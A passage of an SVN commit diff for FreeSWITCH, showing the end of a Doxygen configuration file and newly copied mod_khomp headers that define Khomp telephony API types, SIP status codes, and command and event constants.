+# Makefile don't overwrite each other's variables.
+
+PERLMOD_MAKEVAR_PREFIX = 
+
+#---------------------------------------------------------------------------
+# Configuration options related to the preprocessor   
+#---------------------------------------------------------------------------
+
+# If the ENABLE_PREPROCESSING tag is set to YES (the default) Doxygen will 
+# evaluate all C-preprocessor directives found in the sources and include 
+# files.
+
+ENABLE_PREPROCESSING   = YES
+
+# If the MACRO_EXPANSION tag is set to YES Doxygen will expand all macro 
+# names in the source code. If set to NO (the default) only conditional 
+# compilation will be performed. Macro expansion can be done in a controlled 
+# way by setting EXPAND_ONLY_PREDEF to YES.
+
+MACRO_EXPANSION        = YES
+
+# If the EXPAND_ONLY_PREDEF and MACRO_EXPANSION tags are both set to YES 
+# then the macro expansion is limited to the macros specified with the 
+# PREDEFINED and EXPAND_AS_DEFINED tags.
+
+EXPAND_ONLY_PREDEF     = NO
+
+# If the SEARCH_INCLUDES tag is set to YES (the default) the includes files 
+# in the INCLUDE_PATH (see below) will be search if a #include is found.
+
+SEARCH_INCLUDES        = NO
+
+# The INCLUDE_PATH tag can be used to specify one or more directories that 
+# contain include files that are not input files but should be processed by 
+# the preprocessor.
+
+INCLUDE_PATH           = 
+
+# You can use the INCLUDE_FILE_PATTERNS tag to specify one or more wildcard 
+# patterns (like *.h and *.hpp) to filter out the header-files in the 
+# directories. If left blank, the patterns specified with FILE_PATTERNS will 
+# be used.
+
+INCLUDE_FILE_PATTERNS  = *.h
+
+# The PREDEFINED tag can be used to specify one or more macro names that 
+# are defined before the preprocessor is started (similar to the -D option of 
+# gcc). The argument of the tag is a list of macros of the form: name 
+# or name=definition (no spaces). If the definition and the = are 
+# omitted =1 is assumed. To prevent a macro definition from being 
+# undefined via #undef or recursively expanded use the := operator 
+# instead of the = operator.
+
+PREDEFINED             = 
+
+# If the MACRO_EXPANSION and EXPAND_ONLY_PREDEF tags are set to YES then 
+# this tag can be used to specify a list of macro names that should be expanded. 
+# The macro definition that is found in the sources will be used. 
+# Use the PREDEFINED tag if you want to use a different macro definition.
+
+EXPAND_AS_DEFINED      = NO
+
+# If the SKIP_FUNCTION_MACROS tag is set to YES (the default) then 
+# doxygen's preprocessor will remove all function-like macros that are alone 
+# on a line, have an all uppercase name, and do not end with a semicolon. Such 
+# function macros are typically used for boiler-plate code, and will confuse 
+# the parser if not removed.
+
+SKIP_FUNCTION_MACROS   = NO
+
+#---------------------------------------------------------------------------
+# Configuration::additions related to external references   
+#---------------------------------------------------------------------------
+
+# The TAGFILES option can be used to specify one or more tagfiles. 
+# Optionally an initial location of the external documentation 
+# can be added for each tagfile. The format of a tag file without 
+# this location is as follows: 
+#   TAGFILES = file1 file2 ... 
+# Adding location for the tag files is done as follows: 
+#   TAGFILES = file1=loc1 "file2 = loc2" ... 
+# where "loc1" and "loc2" can be relative or absolute paths or 
+# URLs. If a location is present for each tag, the installdox tool 
+# does not have to be run to correct the links. 
+# Note that each tag file must have a unique name 
+# (where the name does NOT include the path) 
+# If a tag file is not located in the directory in which doxygen 
+# is run, you must also specify the path to the tagfile here.
+
+TAGFILES               = 
+
+# When a file name is specified after GENERATE_TAGFILE, doxygen will create 
+# a tag file that is based on the input files it reads.
+
+GENERATE_TAGFILE       = 
+
+# If the ALLEXTERNALS tag is set to YES all external classes will be listed 
+# in the class index. If set to NO only the inherited external classes 
+# will be listed.
+
+ALLEXTERNALS           = NO
+
+# If the EXTERNAL_GROUPS tag is set to YES all external groups will be listed 
+# in the modules index. If set to NO, only the current project's groups will 
+# be listed.
+
+EXTERNAL_GROUPS        = YES
+
+# The PERL_PATH should be the absolute path and name of the perl script 
+# interpreter (i.e. the result of `which perl').
+
+PERL_PATH              = /usr/bin/perl
+
+#---------------------------------------------------------------------------
+# Configuration options related to the dot tool   
+#---------------------------------------------------------------------------
+
+# If the CLASS_DIAGRAMS tag is set to YES (the default) Doxygen will 
+# generate a inheritance diagram (in HTML, RTF and LaTeX) for classes with base 
+# or super classes. Setting the tag to NO turns the diagrams off. Note that 
+# this option is superseded by the HAVE_DOT option below. This is only a 
+# fallback. It is recommended to install and use dot, since it yields more 
+# powerful graphs.
+
+CLASS_DIAGRAMS         = YES
+
+# You can define message sequence charts within doxygen comments using the \msc 
+# command. Doxygen will then run the mscgen tool (see 
+# http://www.mcternan.me.uk/mscgen/) to produce the chart and insert it in the 
+# documentation. The MSCGEN_PATH tag allows you to specify the directory where 
+# the mscgen tool resides. If left empty the tool is assumed to be found in the 
+# default search path.
+
+MSCGEN_PATH            = 
+
+# If set to YES, the inheritance and collaboration graphs will hide 
+# inheritance and usage relations if the target is undocumented 
+# or is not a class.
+
+HIDE_UNDOC_RELATIONS   = YES
+
+# If you set the HAVE_DOT tag to YES then doxygen will assume the dot tool is 
+# available from the path. This tool is part of Graphviz, a graph visualization 
+# toolkit from AT&T and Lucent Bell Labs. The other options in this section 
+# have no effect if this option is set to NO (the default)
+
+HAVE_DOT               = YES
+
+# By default doxygen will write a font called FreeSans.ttf to the output 
+# directory and reference it in all dot files that doxygen generates. This 
+# font does not include all possible unicode characters however, so when you need 
+# these (or just want a differently looking font) you can specify the font name 
+# using DOT_FONTNAME. You need need to make sure dot is able to find the font, 
+# which can be done by putting it in a standard location or by setting the 
+# DOTFONTPATH environment variable or by setting DOT_FONTPATH to the directory 
+# containing the font.
+
+DOT_FONTNAME           = FreeSans
+
+# The DOT_FONTSIZE tag can be used to set the size of the font of dot graphs. 
+# The default size is 10pt.
+
+DOT_FONTSIZE           = 10
+
+# By default doxygen will tell dot to use the output directory to look for the 
+# FreeSans.ttf font (which doxygen will put there itself). If you specify a 
+# different font using DOT_FONTNAME you can set the path where dot 
+# can find it using this tag.
+
+DOT_FONTPATH           = 
+
+# If the CLASS_GRAPH and HAVE_DOT tags are set to YES then doxygen 
+# will generate a graph for each documented class showing the direct and 
+# indirect inheritance relations. Setting this tag to YES will force the 
+# the CLASS_DIAGRAMS tag to NO.
+
+CLASS_GRAPH            = YES
+
+# If the COLLABORATION_GRAPH and HAVE_DOT tags are set to YES then doxygen 
+# will generate a graph for each documented class showing the direct and 
+# indirect implementation dependencies (inheritance, containment, and 
+# class references variables) of the class with other documented classes.
+
+COLLABORATION_GRAPH    = YES
+
+# If the GROUP_GRAPHS and HAVE_DOT tags are set to YES then doxygen 
+# will generate a graph for groups, showing the direct groups dependencies
+
+GROUP_GRAPHS           = YES
+
+# If the UML_LOOK tag is set to YES doxygen will generate inheritance and 
+# collaboration diagrams in a style similar to the OMG's Unified Modeling 
+# Language.
+
+UML_LOOK               = YES
+
+# If set to YES, the inheritance and collaboration graphs will show the 
+# relations between templates and their instances.
+
+TEMPLATE_RELATIONS     = YES
+
+# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDE_GRAPH, and HAVE_DOT 
+# tags are set to YES then doxygen will generate a graph for each documented 
+# file showing the direct and indirect include dependencies of the file with 
+# other documented files.
+
+INCLUDE_GRAPH          = YES
+
+# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDED_BY_GRAPH, and 
+# HAVE_DOT tags are set to YES then doxygen will generate a graph for each 
+# documented header file showing the documented files that directly or 
+# indirectly include this file.
+
+INCLUDED_BY_GRAPH      = YES
+
+# If the CALL_GRAPH and HAVE_DOT options are set to YES then 
+# doxygen will generate a call dependency graph for every global function 
+# or class method. Note that enabling this option will significantly increase 
+# the time of a run. So in most cases it will be better to enable call graphs 
+# for selected functions only using the \callgraph command.
+
+CALL_GRAPH             = YES
+
+# If the CALLER_GRAPH and HAVE_DOT tags are set to YES then 
+# doxygen will generate a caller dependency graph for every global function 
+# or class method. Note that enabling this option will significantly increase 
+# the time of a run. So in most cases it will be better to enable caller 
+# graphs for selected functions only using the \callergraph command.
+
+CALLER_GRAPH           = NO
+
+# If the GRAPHICAL_HIERARCHY and HAVE_DOT tags are set to YES then doxygen 
+# will graphical hierarchy of all classes instead of a textual one.
+
+GRAPHICAL_HIERARCHY    = YES
+
+# If the DIRECTORY_GRAPH, SHOW_DIRECTORIES and HAVE_DOT tags are set to YES 
+# then doxygen will show the dependencies a directory has on other directories 
+# in a graphical way. The dependency relations are determined by the #include 
+# relations between the files in the directories.
+
+DIRECTORY_GRAPH        = YES
+
+# The DOT_IMAGE_FORMAT tag can be used to set the image format of the images 
+# generated by dot. Possible values are png, jpg, or gif 
+# If left blank png will be used.
+
+DOT_IMAGE_FORMAT       = jpg
+
+# The tag DOT_PATH can be used to specify the path where the dot tool can be 
+# found. If left blank, it is assumed the dot tool can be found in the path.
+
+DOT_PATH               = 
+
+# The DOTFILE_DIRS tag can be used to specify one or more directories that 
+# contain dot files that are included in the documentation (see the 
+# \dotfile command).
+
+DOTFILE_DIRS           = 
+
+# The DOT_GRAPH_MAX_NODES tag can be used to set the maximum number of 
+# nodes that will be shown in the graph. If the number of nodes in a graph 
+# becomes larger than this value, doxygen will truncate the graph, which is 
+# visualized by representing a node as a red box. Note that doxygen if the 
+# number of direct children of the root node in a graph is already larger than 
+# DOT_GRAPH_MAX_NODES then the graph will not be shown at all. Also note 
+# that the size of a graph can be further restricted by MAX_DOT_GRAPH_DEPTH.
+
+DOT_GRAPH_MAX_NODES    = 50
+
+# The MAX_DOT_GRAPH_DEPTH tag can be used to set the maximum depth of the 
+# graphs generated by dot. A depth value of 3 means that only nodes reachable 
+# from the root by following a path via at most 3 edges will be shown. Nodes 
+# that lay further from the root node will be omitted. Note that setting this 
+# option to 1 or 2 may greatly reduce the computation time needed for large 
+# code bases. Also note that the size of a graph can be further restricted by 
+# DOT_GRAPH_MAX_NODES. Using a depth of 0 means no depth restriction.
+
+MAX_DOT_GRAPH_DEPTH    = 1000
+
+# Set the DOT_TRANSPARENT tag to YES to generate images with a transparent 
+# background. This is disabled by default, because dot on Windows does not 
+# seem to support this out of the box. Warning: Depending on the platform used, 
+# enabling this option may lead to badly anti-aliased labels on the edges of 
+# a graph (i.e. they become hard to read).
+
+DOT_TRANSPARENT        = NO
+
+# Set the DOT_MULTI_TARGETS tag to YES allow dot to generate multiple output 
+# files in one run (i.e. multiple -o and -T options on the command line). This 
+# makes dot run faster, but since only newer versions of dot (>1.8.10) 
+# support this, this feature is disabled by default.
+
+DOT_MULTI_TARGETS      = NO
+
+# If the GENERATE_LEGEND tag is set to YES (the default) Doxygen will 
+# generate a legend page explaining the meaning of the various boxes and 
+# arrows in the dot generated graphs.
+
+GENERATE_LEGEND        = YES
+
+# If the DOT_CLEANUP tag is set to YES (the default) Doxygen will 
+# remove the intermediate dot files that are used to generate 
+# the various graphs.
+
+DOT_CLEANUP            = YES
+
+#---------------------------------------------------------------------------
+# Options related to the search engine
+#---------------------------------------------------------------------------
+
+# The SEARCHENGINE tag specifies whether or not a search engine should be 
+# used. If set to NO the values of all tags below this one will be ignored.
+
+SEARCHENGINE           = NO

Copied: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/include (from rev 14471, freeswitch/trunk/contrib/mod/endpoints/mod_khomp/include)

Deleted: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/include/globals.h

Copied: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/include/globals.h (from rev 14471, freeswitch/trunk/contrib/mod/endpoints/mod_khomp/include/globals.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/include/globals.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/include/globals.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,38 @@
+#ifndef _GLOBALS_H_
+#define _GLOBALS_H_
+
+#include "k3lapi.hpp"
+
+#include <config_options.hpp>
+
+#include <vector>
+
+extern "C"
+{
+    #include <switch.h>
+}
+
+
+struct Globals
+{
+
+    static K3LAPI _k3lapi;
+
+    /* Config options class */
+    static config_options _options;
+
+
+
+    static switch_endpoint_interface_t *_khomp_endpoint_interface;
+    static switch_api_interface_t *_api_interface;
+    static switch_memory_pool_t *_module_pool;
+    static int _running;
+
+    static unsigned int _flags;
+    static int _calls;
+    static switch_mutex_t *_mutex;
+
+};
+
+
+#endif /* _GLOBALS_H_ */

Deleted: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/include/k3l.h

Copied: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/include/k3l.h (from rev 14471, freeswitch/trunk/contrib/mod/endpoints/mod_khomp/include/k3l.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/include/k3l.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/include/k3l.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1787 @@
+/*  
+    KHOMP channel provider for Asterisk PBX
+    Copyright (C) 2007-2008 Khomp Ind. & Com.  
+  
+  This library is free software; you can redistribute it and/or  
+  modify it under the terms of the GNU Lesser General Public  
+  License as published by the Free Software Foundation; either  
+  version 2.1 of the License, or (at your option) any later version.  
+  
+  This library is distributed in the hope that it will be useful,  
+  but WITHOUT ANY WARRANTY; without even the implied warranty of  
+  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU  
+  Lesser General Public License for more details.  
+  
+  You should have received a copy of the GNU Lesser General Public  
+  License along with this library; if not, write to the Free Software  
+  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA 
+  
+*/
+
+#ifndef INCLUDED_K3LDEFS_H
+#define INCLUDED_K3LDEFS_H
+#if !defined KLTYPEDEFS_H
+#define KLTYPEDEFS_H
+#if defined( _WINDOWS ) || defined( _Windows ) || defined( _WIN32 )
+	#ifndef KWIN32
+	#define KWIN32 1
+	#endif
+#endif
+
+#ifdef KWIN32
+	typedef __int64				int64;
+	typedef unsigned __int64	uint64;
+	#define Kstdcall __stdcall
+#else
+	typedef long long				int64;
+	typedef unsigned long long		uint64;
+	#define Kstdcall 
+#endif
+typedef int					int32;
+typedef unsigned int		uint32;
+typedef unsigned long long  intptr;
+typedef long                stackint;
+typedef short int			int16;
+typedef unsigned short int	uint16;
+typedef char				int8;
+typedef unsigned char		uint8;
+typedef unsigned char		byte;
+typedef char				sbyte;
+typedef double				float64;
+typedef float				float32;
+typedef int32				stt_code;
+
+enum KLibraryStatus 
+{
+	ksSuccess =			0,
+	ksFail =			1,
+	ksTimeOut =			2,
+	ksBusy =			3,
+	ksLocked =			4,
+	ksInvalidParams =	5,
+	ksEndOfFile =		6,
+	ksInvalidState =	7,
+	ksServerCommFail =	8,
+	ksOverflow =		9,
+    ksUnderrun =        10,
+	ksNotFound =		11,
+    ksNotAvailable =    12
+};	
+enum KTxRx
+{
+	kNoTxRx	= 0x0,
+	kTx		= 0x1,
+	kRx		= 0x2,
+	kBoth	= 0x3
+}; 
+
+#define KMAX_SERIAL_NUMBER			12 
+#define KMAX_E1_CHANNELS			30
+#define KMAX_DIAL_NUMBER	        20
+#define KMAX_ADDRESS				60
+#define KMAX_DSP_NAME		        8
+#define KMAX_STR_VERSION	        80
+#define KMAX_BUFFER_ADDRESSES		16
+#define KMAX_LOG                    1024
+#define KMAX_SIP_DATA               248
+#endif
+#if !defined KVOIPDEFS_H
+#define KVOIPDEFS_H
+enum KRejectReason
+{
+	UserBusy = 0,
+	UserNotFound,
+	NoAnswer,
+	Decline,
+	ServiceUnavailable,
+	ServerInternalError,
+	UnknownRejectReason
+};
+enum KSIP_Failures
+{
+	kveResponse_200_OK_Success             		= 200,
+    kveRedirection_300_MultipleChoices			= 300,
+	kveRedirection_301_MovedPermanently			= 301,
+	kveRedirection_302_MovedTemporarily			= 302,
+	kveRedirection_305_UseProxy					= 305,
+	kveRedirection_380_AlternativeService		= 380,
+	kveFailure_400_BadRequest					= 400,
+	kveFailure_401_Unauthorized					= 401,
+	kveFailure_402_PaymentRequired				= 402,
+	kveFailure_403_Forbidden					= 403,
+	kveFailure_404_NotFound						= 404,
+	kveFailure_405_MethodNotAllowed				= 405,
+	kveFailure_406_NotAcceptable				= 406,
+	kveFailure_407_ProxyAuthenticationRequired	= 407,
+	kveFailure_408_RequestTimeout				= 408,
+	kveFailure_410_Gone							= 410,
+	kveFailure_413_RequestEntityTooLarge		= 413,
+	kveFailure_414_RequestURI_TooLong			= 414,
+	kveFailure_415_UnsupportedMediaType			= 415,
+	kveFailure_416_UnsupportedURI_Scheme		= 416,
+	kveFailure_420_BadExtension					= 420,
+	kveFailure_421_ExtensionRequired			= 421,
+	kveFailure_423_IntervalTooBrief				= 423,
+	kveFailure_480_TemporarilyUnavailable		= 480,
+	kveFailure_481_CallDoesNotExist				= 481,
+	kveFailure_482_LoopDetected					= 482,
+	kveFailure_483_TooManyHops					= 483,
+	kveFailure_484_AddressIncomplete			= 484,
+	kveFailure_485_Ambiguous					= 485,
+	kveFailure_486_BusyHere						= 486,
+	kveFailure_487_RequestTerminated			= 487,
+	kveFailure_488_NotAcceptableHere			= 488,
+	kveFailure_491_RequestPending				= 491,
+	kveFailure_493_Undecipherable				= 493,
+	kveServer_500_InternalError					= 500,
+	kveServer_501_NotImplemented				= 501,
+	kveServer_502_BadGateway					= 502,
+	kveServer_503_ServiceUnavailable			= 503,
+	kveServer_504_TimeOut						= 504,
+	kveServer_505_VersionNotSupported			= 505,
+	kveServer_513_MessageTooLarge				= 513,
+	kveGlobalFailure_600_BusyEverywhere			= 600,
+	kveGlobalFailure_603_Decline				= 603,
+	kveGlobalFailure_604_DoesNotExistAnywhere	= 604,
+	kveGlobalFailure_606_NotAcceptable			= 606
+};
+enum KVoIPRegTypes
+{
+   kvrtRegister    =   0,
+   kvrtUnregister  =   1
+};
+
+struct KVoIPCallParams
+{
+	sbyte ToUser[ KMAX_ADDRESS + 1 ];
+	sbyte FromUser[ KMAX_ADDRESS + 1 ];
+    sbyte FromUserIP[ KMAX_ADDRESS + 1 ];
+};
+struct KVoIPEvRegisterParams
+{
+    KVoIPRegTypes Register;
+	sbyte User[ KMAX_ADDRESS + 1 ];
+	sbyte ProxyIP[ KMAX_ADDRESS + 1 ];
+};
+struct KVoIPSeize 
+{
+	sbyte FromUser[ KMAX_ADDRESS + 1 ];
+	sbyte ToUser[ KMAX_ADDRESS + 1 ];
+    sbyte ProxyIP[ KMAX_ADDRESS + 1 ];
+};
+#endif
+#if !defined KLDEFS_H
+#define KLDEFS_H
+
+
+
+#define CM_SEIZE					0x01
+     
+#define CM_SYNC_SEIZE				0x02
+
+#define CM_SIP_REGISTER             0x03
+
+#define CM_DIAL_DTMF				0x04
+
+#define CM_DISCONNECT				0x05
+
+#define CM_CONNECT					0x06
+
+#define CM_PRE_CONNECT				0x07
+
+#define CM_CAS_CHANGE_LINE_STT		0x08
+
+#define CM_CAS_SEND_MFC				0x09
+
+#define CM_SET_FORWARD_CHANNEL		0x0A
+
+#define CM_CAS_SET_MFC_DETECT_MODE	0x0B
+
+#define CM_DROP_COLLECT_CALL		0x0C
+
+#define CM_MAKE_CALL				0x0D
+
+#define CM_RINGBACK 				0x0E
+
+#define CM_USER_INFORMATION         0x0F
+
+#define CM_VOIP_SEIZE				0x23
+
+
+#define	CM_LOCK_INCOMING			0x10
+
+#define CM_UNLOCK_INCOMING			0x11
+
+#define CM_LOCK_OUTGOING			0x12
+
+#define CM_UNLOCK_OUTGOING			0x13
+
+#define CM_START_SEND_FAIL			0x14
+
+#define CM_STOP_SEND_FAIL			0x15
+
+#define CM_END_OF_NUMBER            0x16
+
+#define CM_SEND_SIP_DATA			0x17
+
+#define CM_SS_TRANSFER              0x18
+
+#define CM_GET_SMS                  0x19
+
+#define CM_PREPARE_SMS              0x1A
+
+#define CM_SEND_SMS                 0x1B
+
+#define CM_SEND_TO_MODEM            0x1C
+
+#define CM_CHECK_NEW_SMS            0x1D
+
+#define CM_ISDN_SEND_SUBADDRESSES   0x1E
+
+#define CM_ENABLE_DTMF_SUPPRESSION	0x30
+
+#define CM_DISABLE_DTMF_SUPPRESSION	0x31
+
+#define CM_ENABLE_AUDIO_EVENTS		0x32
+
+#define CM_DISABLE_AUDIO_EVENTS		0x33
+
+#define CM_ENABLE_CALL_PROGRESS		0x34
+
+#define CM_DISABLE_CALL_PROGRESS	0x35
+
+#define CM_FLASH					0x36
+
+#define CM_ENABLE_PULSE_DETECTION	0x37
+
+#define CM_DISABLE_PULSE_DETECTION	0x38
+
+#define CM_ENABLE_ECHO_CANCELLER	0x39
+
+#define CM_DISABLE_ECHO_CANCELLER	0x3A
+
+#define CM_ENABLE_AGC				0x3B
+
+#define CM_DISABLE_AGC				0x3C
+
+#define CM_ENABLE_HIGH_IMP_EVENTS	0x3D
+
+#define CM_DISABLE_HIGH_IMP_EVENTS	0x3E
+
+#define CM_ENABLE_CALL_ANSWER_INFO  0x40
+
+#define CM_DISABLE_CALL_ANSWER_INFO 0x41
+
+#define CM_HOLD_SWITCH             0x4A
+
+#define CM_MPTY_CONF               0x4B
+
+#define CM_MPTY_SPLIT              0x4C
+
+#define CM_START_FAX_TX				0x50
+
+#define CM_CANCEL_FAX_TX			0x51
+
+#define CM_ADD_FAX_FILE				0x52
+
+
+#define CM_RESET_LINK				0xF1
+
+#define CM_CLEAR_LINK_ERROR_COUNTER 0xF2
+
+#define CM_SEND_DEVICE_SECURITY_KEY 0xF3
+
+#define CM_RESET_MODEM              0xF4
+
+
+#define EV_CHANNEL_FREE				0x01
+
+#define EV_CONNECT					0x03
+
+#define EV_DISCONNECT				0x04
+
+#define EV_CALL_SUCCESS				0x05
+
+#define EV_CALL_FAIL				0x06
+
+#define EV_NO_ANSWER				0x07
+
+#define EV_BILLING_PULSE			0x08
+
+#define EV_SEIZE_SUCCESS			0x09
+
+#define EV_SEIZE_FAIL				0x0A
+
+#define EV_SEIZURE_START			0x0B
+
+#define EV_CAS_LINE_STT_CHANGED		0x0C
+
+#define EV_CAS_MFC_RECV				0x0D
+
+#define EV_NEW_CALL                 0x0E
+
+#define EV_USER_INFORMATION         0x0F
+
+#define EV_DIALED_DIGIT             0x10
+
+#define EV_SIP_REGISTER_INFO        0x11
+
+#define EV_RING_DETECTED            0x12
+
+#define EV_ISDN_SUBADDRESSES        0x13
+
+#define EV_CALL_HOLD_START			0x16
+
+#define EV_CALL_HOLD_STOP			0x17
+
+#define EV_SS_TRANSFER_FAIL         0x18
+
+#define EV_FLASH                    0x19
+
+#define EV_ISDN_PROGRESS_INDICATOR	0x1A
+
+#define EV_DTMF_DETECTED			0x20
+
+#define EV_DTMF_SEND_FINISH			0x21
+
+#define EV_AUDIO_STATUS				0x22
+
+#define EV_CADENCE_RECOGNIZED		0x23
+#define EV_CALL_PROGRESS			EV_CADENCE_RECOGNIZED
+
+#define EV_END_OF_STREAM			0x24
+
+#define EV_PULSE_DETECTED			0x25
+
+#define EV_POLARITY_REVERSAL		0x26
+
+#define EV_CALL_ANSWER_INFO     	0x27
+
+#define EV_COLLECT_CALL          	0x28
+
+#define EV_SIP_DTMF_DETECTED        0x29
+
+#define EV_SIP_DATA			        0x2A
+
+#define EV_RECV_FROM_MODEM			0x42
+
+#define EV_NEW_SMS                  0x43
+
+#define EV_SMS_INFO                 0x44
+
+#define EV_SMS_DATA                 0x45
+
+#define EV_SMS_SEND_RESULT          0x46
+
+#define EV_CALL_MPTY_START			0x47
+
+#define EV_CALL_MPTY_STOP			0x48
+
+#define EV_GSM_COMMAND_STATUS		0x49
+
+
+#define EV_CHANNEL_FAIL				0x30
+
+#define EV_REFERENCE_FAIL			0x31
+
+#define EV_INTERNAL_FAIL			0x32
+
+#define EV_HARDWARE_FAIL			0x33
+
+#define EV_LINK_STATUS				0x34
+
+#define EV_PHYSICAL_LINK_UP			0x35
+
+#define EV_PHYSICAL_LINK_DOWN		0x36
+
+#define EV_CLIENT_RECONNECT		0xF0
+
+#define EV_CLIENT_AUDIOLISTENER_TIMEOUT     0xF1
+
+#define EV_CLIENT_BUFFERED_AUDIOLISTENER_OVERFLOW   0xF2
+
+#define EV_REQUEST_DEVICE_SECURITY_KEY 0xF3
+
+#define EV_DISK_IS_FULL		0xF4
+
+
+#define CM_SEND_DTMF				0xD1
+
+#define CM_STOP_AUDIO 				0xD2
+
+#define CM_HARD_RESET				0xF0
+
+#define EV_VOIP_SEIZURE					0x40
+
+#define EV_SEIZURE					0x41
+
+#define EV_FAX_CHANNEL_FREE			0x50
+#define EV_FAX_FILE_SENT			0x51
+#define EV_FAX_FILE_FAIL			0x52
+#endif
+
+   #define FC_REMOTE_FAIL			0x01
+   #define FC_LOCAL_FAIL			0x02
+ 
+   #define FC_REMOTE_LOCK			0x03
+  
+   #define FC_LINE_SIGNAL_FAIL		0x04
+   #define FC_ACOUSTIC_SIGNAL_FAIL	0x05
+
+enum KChannelFail
+{
+	kfcRemoteFail = FC_REMOTE_FAIL,
+	kfcLocalFail = FC_LOCAL_FAIL,
+	kfcRemoteLock = FC_REMOTE_LOCK,
+	kfcLineSignalFail = FC_LINE_SIGNAL_FAIL,
+	kfcAcousticSignalFail = FC_ACOUSTIC_SIGNAL_FAIL
+};
+
+   #define ER_INTERRUPT_CTRL		0x01
+   #define ER_COMMUNICATION_FAIL	0x02
+   #define ER_PROTOCOL_FAIL			0x03
+   #define ER_INTERNAL_BUFFER		0x04
+	#define ER_MONITOR_BUFFER		0x05
+	#define ER_INITIALIZATION		0x06
+	#define ER_INTERFACE_FAIL		0x07
+	#define ER_CLIENT_COMM_FAIL		0x08
+	#define ER_POLL_CTRL			0x09
+	#define ER_EVT_BUFFER_CTRL		0x0A
+
+	#define ER_INVALID_CONFIG_VALUE 0x0B
+
+	#define ER_INTERNAL_GENERIC_FAIL 0x0C
+
+enum KInternalFail
+{
+	kifInterruptCtrl = ER_INTERRUPT_CTRL,
+	kifCommunicationFail = ER_COMMUNICATION_FAIL,
+	kifProtocolFail = ER_PROTOCOL_FAIL,
+	kifInternalBuffer = ER_INTERNAL_BUFFER,
+	kifMonitorBuffer = ER_MONITOR_BUFFER,
+	kifInitialization = ER_INITIALIZATION,
+	kifInterfaceFail = ER_INTERFACE_FAIL,
+	kifClientCommFail = ER_CLIENT_COMM_FAIL
+};	
+
+   #define FS_CHANNEL_LOCKED		0x01
+   #define FS_INCOMING_CHANNEL		0x02
+   #define FS_CHANNEL_NOT_FREE		0x03
+   #define FS_DOUBLE_SEIZE			0x04
+   #define FS_LOCAL_CONGESTION		0x06
+   #define FS_NO_DIAL_TONE			0x07
+enum KSeizeFail
+{
+	ksfChannelLocked = FS_CHANNEL_LOCKED,
+	ksfIncomingChannel = FS_INCOMING_CHANNEL,
+	ksfChannelBusy = FS_CHANNEL_NOT_FREE,
+	ksfDoubleSeizure = FS_DOUBLE_SEIZE,
+	ksfCongestion = FS_LOCAL_CONGESTION,
+	ksfNoDialTone = FS_NO_DIAL_TONE
+};
+#if !defined KH100DEFS_H
+#define KH100DEFS_H
+
+#define CM_SEND_TO_CTBUS			0x90
+
+#define CM_RECV_FROM_CTBUS			0x91
+
+#define CM_SEND_RANGE_TO_CTBUS		0x92
+
+#define CM_SETUP_H100				0x93
+
+enum KH100ConfigIndex
+{
+	khciDeviceMode = 0,
+	khciMasterGenClock = 1,
+	khciCTNetRefEnable = 4,
+	khciSCbusEnable = 6,
+	khciHMVipEnable = 7,
+	khciMVip90Enable = 8,
+	khciCTbusDataEnable = 9,
+	khciCTbusFreq03_00 = 10,
+	khciCTbusFreq07_04 = 11,
+	khciCTbusFreq11_08 = 12,
+	khciCTbusFreq15_12 = 13,
+	khciMax = 14,
+	khciMasterDevId = 20,
+	khciSecMasterDevId = 21,
+	khciCtNetrefDevId = 22,
+    khciMaxH100ConfigIndex
+};	
+
+enum KMasterPLLClockReference
+{
+    h100_Ref_FreeRun = 0,
+    h100_Ref_holdover = 1,
+	h100_Automatic = 2,
+    h100_Ref_ctnetref = 7,
+    h100_Ref_link0 = 8,
+    h100_Ref_link1 = 9
+};
+enum KSlavePLLClockReference
+{
+    h100_PllLoc_ClkA = 0,
+    h100_PllLoc_ClkB = 1,
+    h100_PllLoc_SCBus = 2,
+    h100_PllLoc_MVIP90 = 3,
+    h100_PllLoc_Link0 = 4,
+    h100_PllLoc_Link1 = 5,
+    h100_PllLoc_Error = 6
+};
+
+#define H100_DEVICE_MODE				khciDeviceMode
+	enum KH100Mode
+	{
+		h100_Slave,
+		h100_Master,
+		h100_StandbyMaster,
+		h100_Diagnostic,
+		h100_NotConnected
+	};
+#define H100_MASTER_GEN_CLOCK			khciMasterGenClock
+	enum KH100SelectCtbusClock
+	{
+		h100_scClockA,
+		h100_scClockB
+	};
+
+#define H100_CT_NETREF_ENABLE			khciCTNetRefEnable
+	enum KH100CtNetref
+	{
+		h100_nrOff,
+		h100_nrEnable
+	};
+#define	H100_SCBUS_ENABLE				khciSCbusEnable
+	enum KH100ScbusEnable
+	{
+		h100_seOff,
+		h100_seOn2Mhz,
+		h100_seOn4Mhz,
+		h100_seOn8Mhz
+	};
+#define H100_HMVIP_ENABLE				khciHMVipEnable
+
+#define H100_MVIP90_ENABLE				khciMVip90Enable
+
+#define H100_CTBUS_DATA_ENABLE			khciCTbusDataEnable
+
+enum KH100Enable
+{
+	h100_On = 0x01,
+	h100_Off = 0x00
+};
+	
+#define H100_CTBUS_FREQ_03_00			khciCTbusFreq03_00
+#define H100_CTBUS_FREQ_07_04			khciCTbusFreq07_04
+#define H100_CTBUS_FREQ_11_08			khciCTbusFreq11_08
+#define H100_CTBUS_FREQ_15_12			khciCTbusFreq15_12
+
+enum KH100CtbusFreq
+{
+	h100_cf_2Mhz	=	0,
+	h100_cf_4Mhz	=	1,
+	h100_cf_8Mhz	=	2 
+};
+
+#endif
+
+#define CM_MIXER					0x60
+
+#define CM_CLEAR_MIXER				0x61
+
+#define CM_PLAY_FROM_FILE			0x62
+
+#define CM_RECORD_TO_FILE			0x63
+	
